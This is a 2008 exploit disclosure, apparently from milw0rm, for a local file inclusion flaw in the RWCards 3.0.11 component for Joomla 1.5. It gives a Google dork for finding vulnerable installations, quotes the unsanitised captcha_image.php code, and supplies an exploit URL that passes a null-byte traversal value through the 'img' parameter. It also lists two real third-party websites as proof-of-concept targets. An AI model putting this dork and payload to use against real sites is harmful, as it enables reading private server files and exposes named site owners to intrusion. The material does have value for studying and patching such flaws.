Joomla! Component RWCards 3.0.11 - Local File Inclusion

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 |  Local File Inclusion Vulnerability                                                  |
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 |  Software : RWCards 3.0.11 Component for Joomla 1.5 CMS                              |
 |  Vendor   : http://www.weberr.de/                                                    |
 |  Date     : 23 October 2008                                                          |
 |  Author   : Vrs-hCk                                                                  |
 |  Contact  : d00r[at]telkom[dot]net                                                   |
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[»] Google Dork

    inurl:com_rwcards

[»] Vulnerable

    ./components/com_rwcards/captcha/captcha_image.php

    15: if (!empty( $_GET['img'] ) )
    16:    $img = $_GET['img'];
    17: else
    18: {
    19:    echo 'no image file specified via &img=...';
    20:    exit;
    21: }
    22:
    23: if (!$fh = fopen( $tmp_dir_path.'cap_'.$img.'.jpg', 'rb'))
    24:    {
    25:        echo 'could not open image file!';
    26:    }
    27: else 
    28: {	
    29:     fpassthru( $fh );
    30:     fclose( $fh );
    31: }    

[»] Exploit

    http://[site]/[path]/components/com_rwcards/captcha/captcha_image.php?img=[LFI]%00

[»] Proof of Concept

    http://www.abcdobebe.com/components/com_rwcards/captcha/captcha_image.php?img=[LFI]%00
    http://www.whiskynet.co.uk/components/com_rwcards/captcha/captcha_image.php?img=[LFI]%00

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 |  Greetz                                                                              |
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# milw0rm.com [2008-10-23]